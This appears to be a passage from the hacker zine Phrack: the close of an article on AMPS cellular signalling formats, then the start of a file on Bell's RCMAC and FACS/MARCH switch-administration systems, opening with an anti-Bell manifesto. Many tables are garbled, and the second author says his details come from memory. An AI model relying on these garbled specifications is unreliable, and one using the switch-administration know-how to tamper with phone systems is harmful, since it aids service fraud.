ORDER ‑ Order field. Identifies the order type. ORDQ ‑ Order qualifier field. Qualifies the order confirmation to a specific action.

LOCAL ‑ Local control field. This field is specific to each system. The ORDER field must be set to locate control for this field to be interpreted.

LT ‑ Last‑try code field.

MIN1 ‑ Mobile Identification number field part one. MIN2 ‑ Mobile Identification number field part two. SERIAL ‑ Electronic Serial Number field. Identifies the serial number of the mobile station.

DIGIT ‑ Digit field (see table below)

RSVD ‑ Reserved for future use; all bits must be set as indicated. P ‑ Parity field.

Called‑address Digit Codes

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Digit Code Digit Code |

|

| 1 0001 7 0111 | | 2 0010 8 1000 | | 3 0011 9 1001 | | 4 0100 0 1010 | | 5 0101 * 1011 | | 6 0110 # 1100 |

| Null 0000 |

|

| NOTE:

| 1. The digit 0 is encoded as binary 10, not binary zero. | | 2. The code 0000 is the null code, indicated no digit present | | 3. All other four‑bit sequences are reserved, and must not be |

| transmitted.

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Examples of encoding called‑address information into the called address words follow:

If the number 2# is entered, the word is as follows:

+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑

| NOTE | 0010 | 1100 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | P |

+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑

If the number 13792640 is entered, the word is as follows:

+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑

| NOTE | 0001 | 0011 | 0111 | 1001 | 0010 | 0110 | 0100 | 1010 | P |

+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑

As you can see the numbers are coded into four bits and inserted sequentially into the train. Notice that when the number is longer than 8 numbers it is broken into two different Words.

If the number 6178680300 is entered, the words are as follows:

Word D ‑ First Word of the Called‑Address

+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑

| NOTE | 0110 | 0001 | 0111 | 1000 | 0110 | 1000 | 1010 | 1010 | P |

+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑

4 4 4 4 4 4 4 4 4 12

Word E ‑ Second Word of the Called‑Address

+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑

| NOTE | 0010 | 1010 | 1010 | 0000 | 0000 | 0000 | 0000 | 0000 | P |

+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑

4 4 4 4 4 4 4 4 4 12

NOTE = four bits which depend on the type of message

Reverse Voice Channel

The reverse voice channel (RVC) is a wideband data stream sent from the mobile station to the land station. This data stream must be generated at a 10 kilobit/second +/‑ 1 bit/sec rate. The format is presented below.

+‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑

|| | | Repeat 1 | | | Repeat 2 | | | || | word | | | word | | | word | || Dotting | sync | of | Dot | sync | of | Dot | sync |

|| | | |

|| | | Word 1 | | | Word 1 | | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑

101 11 48 37 11 48 37 11

‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+

| Repeat 3 | | | Repeat 4 | | | Repeat 5 | | | | | word | | | word | | | | of | Dot | sync | of | Dot | sync | of | Dot |

| | | | |

| Word 1 | | | Word 1 | | | Word 1 | |

‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+

48 37 11 48 37 11 48 37

‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑

| | Repeat 1 | | Repeat 5 ||

| word | | |

| sync | of | ... | of ||

| | |

| | Word 2 | | Word 2 ||

‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑

A 37‑bit dotting sequence and an 11‑bit word sync sequence are sent to permit land stations to achieve synchronization with the incoming data, except at the first repeat of word 1, where a 101‑bit dotting sequence is used. Each word contains 48 bits, including parity, and is repeated five times together with the 37‑bit dotting and 11‑bit word sync sequences; it is then referred to as a word block. For a multi‑word message, the second word block is formed the same as the first word block including the 37‑bit dotting and 11‑bit word sync sequences. A word is formed by encoding the 36 content bits into a (48, 36) BCH code that has a distance of 5, (48, 36; 5). The left‑most bit (earliest in time) shall be designated the most‑significant bit. The 36 most‑significant bits of the 48‑bit field shall be the content bits. The generator polynomial for the code is the same as for the (40, 28; 5) code used on the forward control channel.

Each RVC message can consist of one or two words. The types of messages to be transmitted over the reverse voice channel are as follows:

o Order Confirmation Message

o Called‑Address Message

The message formats are as follows:

Order Confirmation Message:

+‑‑‑+‑‑‑‑‑‑+‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑

| F | NAWC | T | | | | RSVD | |

| | | | | |

| = | = | = | LOCAL | ORDQ | ORDER | = | P |

| | | | | |

| 1 | 00 | 1 | | | | 000 ... 0 | |

+‑‑‑+‑‑‑‑‑‑+‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑

1 2 1 5 3 5 19 12

Called‑Address Message

Word 1 ‑ First Word of the Called‑Address

+‑‑‑+‑‑‑‑‑‑+‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑+

| F | NAWC | T | | | | | |

| | | | 1st | 2nd | | | | | 7th | 8th | | | = | = | = | Digit | Digit | ... | ... | ... | ... | Digit | Digit | P |

| | | | | | |

| 1 | 01 | 0 | | | | | |

+‑‑‑+‑‑‑‑‑‑+‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑+

1 2 1 4 4 4 4 4 4 4 4 12

Word 2 ‑ Second Word of the Called‑Address

+‑‑‑+‑‑‑‑‑‑+‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑+

| F | NAWC | T | | | | | |

| | | | 9th | 10th | | | | | 15th | 16th | | | = | = | = | Digit | Digit | ... | ... | ... | .. | Digit | Digit | P |

| | | | | | |

| 0 | 00 | 0D| | | | | |

+‑‑‑+‑‑‑‑‑‑+‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑+

1 2 1 4 4 4 4 4 4 4 4 12

The fields are descriptions a the me as those for the Reverse Control channel above.

Overhead Message

A three‑bit OHD field is used to identify the overhead message types. Overhead message type codes are listed in the table below. They are grouped into the following functional classes:

o System parameter overhead message

o Global action overhead message

o Registration identification message

o Control‑filler message

Overhead messages are send in a group called an overhead message train. The first message of the train must be the system parameter overhead message. The desired global action messages and/or a registration ID message must be appended to the end of the system parameter overhead message. The total number of words in an overhead message train is one more than the value of the NAWC field contained in the first word of the system parameter overhead message. The last word in the train must be set to '0'. For NAWC‑counting purposes, inserted control‑filler messages must not be counted as part of the overhead message train.

The system parameter overhead message must be sent every .8 +/‑ .3 seconds on each of the following control channels:

o combined paging‑access forward channel.

o Separate paging forward control channel

o Separated access forward control channel when the control‑filler message is sent with the WFOM bit set to '1'.

The global action messages and the registration identification message are sent on an as needed basis.

o The system parameter for overhead message consists of two words.

0 Word 1

+‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑

| T T | | | RSVD | | OHD | |

| 1 2 | | | | | |

| = | DCC | SID1 | = | NAWC | = | P |

| | | |

| 11 | | | 000 | | 110 | |

+‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑

2 2 14 3 4 3 12

Word 2

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑

| T T | | | | | | RSVD |

| 1 2 | | | | | |

| = | DCC | S | E | REGH | REGR | DTX | = |

| | | | |

| 11 | | | | | | 0 |

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑

2 2 1 1 1 1 1 1

‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑‑‑‑

| | | | OHD | |

| | | |

| N ‑ 1 | RCF | CPA | CMAX ‑ 1 | END | = | P |

| | | |

| | | | 111 | |

‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑‑‑‑

5 1 1 7 1 3 12

Overhead Message Types

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Code Order

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 000 Registration ID |

| 001 Control‑filler |

| 010 reserved |

| 011 reserved |

| 100 global action |

| 101 reserved |

| 110 Word 1 of system parameter message | | 111 Word 2 of system parameter message |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The interpretation of the data fields:

T T ‑ Type field. Set to '11' indicating an overhead word. 1 2

OHD ‑ Overhead message type field. The OHD field of Word 1 is set to '110' indicating the first word of the system parameter overhead message. The OHD field of Word 2 is set to '111' indicating the second word of the system parameter overhead message.

DCC ‑ Digital Color Code field.

SID1 ‑ First part of the system identification field NAWC ‑ Number of Additional Words Coming field. In Word 1 this field is set to one fewer than the total number of words in the overhead message train.

S ‑ Serial number field.

E ‑ Extended address field.

REGH ‑ Registration field for home stations. REGR ‑ Registration field for roaming stations. DTX ‑ Discontinuous transmission field.

N‑1 ‑ N is the number of paging channels in the system. RCF ‑ Read‑control‑filler field.

CPA ‑ Combined paging/access field

CMAX‑1 ‑ CMAX is the number of access channels in the system. END ‑ End indication field. Set to '1' to indicate the last word and '0' if not the last word.

RSVD ‑ Reserved for future use, all bit must be set as indicated. P ‑ Parity field.

Each global action overhead message consists of one word. Any number of global action messages can be appended to a system parameter overhead message.

Here are the global action command formats:

Rescan Global Action Message

+‑‑‑‑‑‑‑{‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑

| T T | | ACT | RSVD = | | OHD | |

| 1 2 | | | |

| = | DCC | = | | END | = | P |

| | | | 000 ... 0 | | | |

| 11 | | 0001 | | | 100 | |

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑

2 2 4 16 1 3 12

Registration Increment Global Action Message

+‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑

| T T | | ACT | | | | OHD | |

| 1 2 | | | | RSVD = | | | |

| = | DCC | = | REGINCR | | END | = | P |

| | | | | 0000 | | | |

| 11 | | 0010 | | | | 100 | |

+‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑

2 2 4 12 4 1 3 12

New Access Channel Set Global Action Message

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑

| T T | | ACT | | | | OHD | |

| 1 2 | | | | RSVD = | | | |

| = | DCC | = | NEWACC | | END | = | P |

| | | | | 00000 | | | |

| 11 | | 0110 | | | | 100 | |

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑

2 2 4 11 5 1 3 12

Overload Control Global Action Message

+‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑

| T T | | ACT | O | O | O | | O | O | O | | OHD | | | 1 2 | | | L | L | L | | L | L | L | | | | | = | DCC | = | C | C | C | ... | C | C | C | END | = | P |

| | | | | | |

| 11 | | 0110 | 0 | 1 | 2 | | 13| 14| 15| | 100 | |

+‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑

2 2 4 1 1 1 1 1 1 1 3 12

Access Type Parameters Global Action Message

+‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑

| T T | | ACT | | | | OHD | |

| 1 2 | | | | RSVD = | | | |

| = | DCC | = | BIS | | END | = | P |

| | | | | 0 ... 000 | | | |

| 11 | | 1001 | | | | 100 | |

+‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑

2 2 4 1 15 1 3 12

Access Attempt Parameters Global Action Message

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑

| T T | | ACT | | | |

| 1 2 | | | MAXBUSY | MAXSZTR | MAXBUSY |

| = | DCC | = | | |

| | | | ‑ PGR | ‑ PGR | ‑ OTHER |

| 11 | | 1010 | | | |

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑

2 2 4 4 4 4

‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+

| | | OHD | |

| MAXSZTR | | | |

| | END | = | P |

| ‑ OTHER | | | |

| | | 100 | |

‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+

4 1 3 12

Local Control 1 Message

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑

| T T | | ACT | | | OHD | |

| 1 2 | | | |

| = | DCC | = | LOCAL CONTROL | END | = | P |

| | | |

| 11 | | 1110 | | | 100 | |

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑

2 2 4 16 1 3 12

Local Control 2 Message

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑

| T T | | ACT | | | OHD | |

| 1 2 | | | |

| = | DCC | = | LOCAL CONTROL | END | = | P |

| | | |

| 11 | | 1111 | | | 100 | |

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑

2 2 4 16 1 3 12

The interpretation of the data fields are as follows:

T T ‑ Type field. Set to '11' indicating overhead word. 1 2

ACT ‑ Global action field (see table below). BIS ‑ Busy‑idle status field.

DCC ‑ Digital Color Code.

OHD ‑ Overhead Message type field. Set to '100' indicating the global action message.

REGINCR ‑ Registration increment field.

NEWACC ‑ News access channel starting point field. MAXBUSY ‑ Maximum busy occurrences field (page response). ‑ PGR

MAXBUSY ‑ Maximum busy occurrences field (other accesses). ‑ OTHER

MAXSZTR ‑ Maximum seizure tries field (page response). ‑ PRG

MAXSZTR ‑ Maximum seizure tries field (other accesses). ‑ OTHER

OLCN ‑ Overload class field (N = 0 to 15)

END ‑ End indication field. Set to '1' to indicate the last word of the overhead message train; set to '0' if not last word. RSVD ‑ Reserved for future use, all bits must be set as indicated. LOCAL ‑ May be set to any bit pattern.

CONTROL

P ‑ Parity field.

The registration ID message consists of one word. When sent, the message must be appended to a system parameter overhead message in addition to any global action messages.

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑+‑

| T T | | | | OHD | |

| 1 2 | | | | |

| = | DCC | REGID | END | = | P |

| | | |

| 11 | | | | 000 | |

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑+‑

2 2 20 1 3 12

The interpretation of the data fields:

T T ‑ Type field. Set to '11' indicating overhead word. DCC ‑ Digital color code field.

OHD ‑ Overhead message type field. Set to '000' indicating the registration ID message.

REGID ‑ Registration ID field.

END ‑ End indication field. Set to '1' to indicate last word of the overhead message train; set to '0' if not. P ‑ Parity field.

The control‑filler message consists of one word. It is sent whenever there is no other message to be sent on the forward control channel. It may be inserted between messages as well as between word blocks of a multiword message. The control‑filler message is chosen so that when it is sent, the 11‑bit word sequence will not appear in the message stream, independent of the busy‑idle bit status.

The control‑filler message is also used to specify a control mobile attenuation code (CMAC) for use by mobile stations accessing the system on the reverse control channel, and a wait‑for‑overhead‑message bit (WFOM) indicating whether or not mobile stations must read an overhead message train before accessing the system.

+‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑

| T T | | | | RVSD | | RVSD | | | | OHD | |

| 1 2 | | | | | | |

| = | DCC |010111| CMAC | = |11| = | 1 | WFOM |1111| = | P |

| | | | | |

| 11 | | | | 00 | | 00 | | | | 001 | |

+‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑

2 2 6 3 2 2 2 1 1 4 3 16

Interpretation of the data fields:

T T ‑ Type field. Set to '11' indicating overhead word. 1 2

DCC ‑ Digital color code field.

CMAC ‑ Control mobile attenuation field. Indicates the mobile station power level associated with the reverse control channel.

RVSD ‑ Reserved for future use; all bits must be set as indicated. WFOM ‑ Wait‑for‑overhead‑message field.

OHD ‑ Overhead message type field. Set to '001' indicating the control‑filler word.

P ‑ Parity field.

Data Restrictions

The 11‑bit sequence (11100010010) is shorter than the length of a word, and therefore can be embedded in a word. Normally, embedded word‑sync will not cause a problem because the next word sent will not have the word‑sync sequence embedded in it. There are, however, three cases in which the word‑sync sequence may appear periodically in the FOCC stream. They are as follows:

o the overhead message

o the control‑filler message

o Mobile station control messages with pages to mobile stations with certain central office codes.

These three cases are handled by:

1. Restricting the overhead message transmission rate to about once per second

2. designing the control‑filler message to exclude the word‑sync sequence, taking into account the various busy‑idle bits 3. Restricting the use of certain office codes

If the mobile station control message is examined with the MIN1 separated into NXX‑X‑XXX as described earlier (where NXX is the central office code, N represents a number from 2 ‑ 9, and X represents a number from 0‑9) the order and order qualifications table can be used to deduce when the word‑sync word would be sent. If a number of mobile stations are paged consecutively with the same central office code, mobile stations that are attempting to synchronize to the data stream may not be able to do so because of the presence of the false word sync sequence. Therefore, the combinations of central office codes and groups of line numbers appearing in the following table must not be used for mobile stations.

RESTRICTED CENTRAL OFFICE CODES

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Central |

| T T DCC NXX X XXX Office Thousands |

| 1 2 Code Digit |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 01 11 000100(1)0000 ... ... 175 0 to 9 | | 01 11 000100(1)0001 ... ... 176 0 to 9 | | 01 11 000100(1)0010 ... ... 177 0 to 9 | | 01 11 000100(1)0011 ... ... 178 0 to 9 | | 01 11 000100(1)0100 ... ... 179 0 to 9 | | 01 11 000100(1)0101 ... ... 170 0 to 9 | | 01 11 000100(1)0110 ... ... 181 0 to 9 | | 01 11 000100(1)0111 ... ... 182 0 to 9 | | 0Z 11 100010(0)1000 ... ... 663 0 to 9 | | 0Z 11 100010(0)1001 ... ... 664 0 to 9 | | 0Z 11 100010(0)1010 ... ... 665 0 to 9 | | 0Z 11 100010(0)1011 ... ... 666 0 to 9 | | 0Z Z1 110001(0)0100 ... ... 899 0 to 9 | | 0Z Z1 110001(0)0101 ... ... 800 0 to 9 | | 0Z ZZ 111000(1)0010 ... ... 909 0 to 9 | | 00 ZZ 011100(0)1001 0ZZZ ... 568 1 to 7 | | 00 ZZ 111100(0)1001 0ZZZ ... 070 1 to 7 | | 00 ZZ 001110(0)0100 10ZZ ... 339 8,9,0 | | 00 ZZ 011110(0)0100 10ZZ ... 595 8,9,0 | | 00 ZZ 101110(0)0100 10ZZ ... 851 8,9,0 | | 00 ZZ 111110(0)0100 10ZZ ... 007 8,9,0 | | 0Z ZZ 000011(1)0100 0010 ... 150 2 | | 0Z ZZ 000111(1)0001 0010 ... 224 2 | | 0Z ZZ 001011(1)0001 0010 ... 288 2 | | 0Z ZZ 001111(1)0001 0010 ... 352 2 | | 0Z ZZ 010011(1)0001 0010 ... 416 2 | | 0Z ZZ 010111(1)0001 0010 ... 470 2 | | 0Z ZZ 011011(1)0001 0010 ... 544 2 | | 0Z ZZ 011111(1)0001 0010 ... 508 2 | | 0Z ZZ 100011(1)0001 0010 ... 672 2 | | 0Z ZZ 100111(1)0001 0010 ... 736 2 | | 0Z ZZ 101011(1)0001 0010 ... 790 2 | | 0Z ZZ 101111(1)0001 0010 ... 864 2 | | 0Z ZZ 110011(1)0001 0010 ... 928 2 | | 0Z ZZ 110111(1)0001 0010 ... 992 2 | | 0Z ZZ 111011(1)0001 0010 ... 056 2 | | 0Z ZZ 111111(1)0001 0010 ... ... 2 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1. In each case, Z represents a bit that may be 1 or 0.

2. Some codes are not used as central office codes in the US at this time. They are included for completeness.

3. The bit in parentheses is the busy‑idle bit.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Well there is your signaling in a nutshell. Please note I hardly have the most up‑to‑date signalling data. Basically what was presented here was a skeleton, the bare bones without all the additions. There are some additions that are system specific. As I get updates I'll be sure to share them with the rest of you. I would be interested in any feedback, so, if you have something to say, send it to:

oblivion@atdt.org

In the last article I said that there would be a listing of SID codes accompanying the article. Well, I forgot to edit that line out, but if you would like a copy of it, just mail me at the above address an you shall receive one.

In the next article I will be going in‑depth on the actual hardware behind the Mobile telephone, the chip sets, and its operation. I will also publish any updates to the previous material I find, as well as information on the transitory NAMPS system that will be used to bridge the existing AMPS cellular network over to the ISDN compatible fully digital network.

The Fine Art of Telephony

==Phrack Inc.==

Volume Four, Issue Forty, File 7 of 14

=/=/=/=/=/=/=/=^

=

= The Fine Art of Telephony =

=

= by Crimson Flash =

=

=\=\=\=\=\=\=\=!

Bell! Bell! Bell! Your reign of tyranny is threatened, your secrets will be exposed. The hackers have come to stake their claim and punch holes in your monopolistic control. The 1990s began with an attack on us, but will end with our victory of exposing the secret government and corruption that lies behind your walls and screens. Oppose us with all your might, with all your lies, with all your accountants and bogus security "professionals." You can stop the one, but you'll never stop the many.

A. Introduction

B. Basic Switching

C. RCMAC

1. Office Equipment

2. How Does All This Fit Into RCMAC

3. Function of RCMAC

a. Coordination of Recent Change Source Documentation

b. Processing of Recent Change Requests

c. Administrative Responsibilities and Interface Groups

D. The FACS Environment

E. Getting Ready For Recent Change Message

1. When MARCH Receives A Translation Packet (TP)

2. When MARCH Receives A Service Order Image

F. MARCH Background Processing

G. User Transaction in MARCH

H. Service Order Forms

I. COSMOS Service Order From The SOI Command

J. MSR ‑ MARCH Status Report (MARCH)

K. Other Notes

L. Recommended Reading

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

A. Introduction

~~~~~~~~~~~~~~~

Bell. Bell Bell Bell! What is it about Bell? I am not sure what my fascination is with them, but it never ceases nor does it ever diminish. Maybe its because they are so private. Maybe its because they find it possible to rip millions of people off daily and they do it with such great ease. Or perhaps its just that they do not want anyone to know what they are doing.

Around my area down here in Texas (512), the Central Office buildings have large brick walls, cameras at each door, bright lights, and every piece of paper says in big block letters: "PROPRIETARY INFORMATION ‑‑ NOT FOR USE OR DISCLOSURE OUTSIDE OF SOUTHWESTERN BELL." This message can be found on everything, but their phone books! Why?

This files are about RCMAC and FACS/MARCH. The information presented here is largely from memory. If you think the information is wrong, then get the information yourself! One thing to keep in mind is that nothing is in stone! Different BOCs (Bell Operating Companies) use different systems and have different ways of doing the same thing. Like in some areas RCMAC is the CIC, the MLAC may not exist, so on and so forth. So nothing is ever fully true with Bell, but then why should things like their systems differ from their policies and promises. There is a Bellcore standard and then there is the real way it is done by your local BOC.

B. Basic Switching

~~~~~~~~~~~~~~~~~~

A switching system (a switch) allows connect between two (or more) phone lines, or two trunks. A basic T1 trunk is 24 lines on a 22 gauge, 4‑wire twisted pair. Not only does it allow connect, it also controls connection, where you call, and when someone calls you. In short it controls everything about your phone! From a large AT&T 5ESS switching 150,000+ line to a small 24 line PABX (Private Automatic Branch Exchange, a switch), they control your phone service.

What's the big deal about telephone switches? Telephony is the largest form of communications for just about everyone in the world! Just try life without a phone line to your house. I have four phone lines and sometimes that is still not enough.

Today's switches are digital. This means that when you talk on the phone, your voice is converted to 1s and 0s (on or off, true or false). This works in several steps:

[0] You call someone.

[1] Sampling ‑‑ The analog signal (your voice) is sampled at certain parts. The output is called Pulse Amplitude Modulation (PAM) signal. [2] Quantize ‑‑ The PAM signal is now measured for wave length high (or amplitude) where numbers are given to the signal.

[3] Encoding ‑‑ In this step, the Quantized signal (with the numbers for the height of the wavelength (amplitude)) is converted to an 8‑bit binary number. The output of the 8‑bit "word" may be either a "1" (a pulse) or a "0" (no pulse).

[4] Encoding ‑‑ Produces a signal called a Pulse‑Code Modulation (PCM) signal. PCM just means that the signal is modulating pulses (digital). From this point, the signal is switched to where it needs to go. [5] The PCM signal is where it needs to go. The signal is now converted back to analog.

[6] Decoding ‑‑ The 8‑bit PCM signal is sent to the decoder to get the number that measured the amplitude of the wave.

[7] Filtering ‑‑ This takes the PAM signal (the decoding produced) and it reproduces the analog signal just as it was.

[1] [2] [3] [4] | S | [5] [6] [7]

________ _________ ______ w | ________ ______

| | | | | | __ i | __ | | | |

\/\/|Sampling|‑|Quantize|‑|Encode|__| |__| t |__| |__|Decoding|‑|Filter|/\/

|________| |________| |______| c | |________| |______|

| | | h_| |

| PAM PCM PCM |

Analog Signal (You Talking) / \ Analog Signal__|

/

/

/

/

Blow Up / of the Switch \

/

/

________________

_____ |

1 T | | T 1 | | 1 T | | 1

‑‑‑‑‑‑‑| T |‑‑‑‑‑‑| |‑‑T |‑‑‑‑‑

|_____| |

_____ |

2 T | | T 2 | S | 2 T | | 2 ‑‑‑‑‑‑‑| T |‑‑‑‑‑‑| mxn |‑‑‑‑‑‑| T |‑‑‑‑‑

|_____| o | | o |_____|

_____ o | | o _____

m T | | T m | | n T | | n

‑‑‑‑‑‑‑| T |‑‑‑‑‑‑| |‑‑T |‑‑‑‑‑

|_____| |

|________________

The basic design of most of the switches today is a Time‑Space‑Time (TST) topology. In the Time‑Space‑Time in the arrangement shown, time slot interchangers will interchange information between external channels and internal (space array) channels.

This is just a quick run through to gives you a general idea about switches without going into math and more technical ideas. For a better understanding, get "Fundamentals of Digital Switching" by John C. McDonald. This book is well written and describes ideas that I cannot get into.

C. RCMAC

~~~~~~~~

The Recent Change Memory Administration Center's (RCMAC) purpose is to make changes to the software in various Electronic Switching Systems (ESS). An ESS uses a Stored Program Control (SPC) to provide telephone service. Since people with phones and their services change often, the ESS uses a memory called Recent Change. This Recent Change area of memory is used on a standby basis until the information can be updated into the semipermanent memory area of the ESS. It is in the templar area that changes (or Recent Change Messages) are typed and held for updating into the semipermanent memory area (Recent Change Memory).

The following Switching Systems (switches for short) that have Recent Change:

‑ 1/1AESS

‑ 2/2BESS

‑ 3ESS

‑ 5ESS

‑ Remote Switching System (RSS)

‑ #5ETS

‑ DMS100/200/250/300

Here is a typical hookup. As you follow the diagram below, you will see:

[1] Telephone subscriber connected to the Central Office by cables. [2] At the Central Office, each subscriber is connected to the Main Distributing Frame.

[3] The Cable and Pair is now connected to the Office Equipment (OE) at another location on the MDF.

(Home Phone Lines) M.D.F. | |

|‑‑(Home Phone) ___________ | |

|‑‑(Home Phone) /__/| /__ /| | D.S.S. |

|‑‑(Home Phone) |\ ||__|/ | |‑‑‑‑‑| |

| | _|_/_|__| |‑‑‑Equipment |

| | /|/ \| | |‑‑‑

| | /||__| \| |‑‑‑

|_________________|/_|/ |__|/

/ |

Cables Cross‑Connects

[1] [2] [3]

1. Office Equipment

~~~~~~~~~~~~~~~~~~~

The Office Equipment (OE) is identified by a unique numbering plan. The equipment numbers identify the equipment location within the system. The Equipment Numbers also vary from one type of equipment to another.

You also may find the OE (Office Equipment) referred to as the LEN (Line Equipment Number). It is called a REN (Remote Equipment Number) in a case of RSS (Remote Switching System).

Each telephone number is assigned to a specific equipment location where they bid for dial tone.

Here is an example of different types of Office Equipment:

1/1AESS #2ESS

~~~~~~~

OE 0 0 4 ‑ 1 0 1 ‑ 3 1 2 OE 0 1 1 ‑ 2 1 4 0

| |/ | | | | |/

| | | | | | |

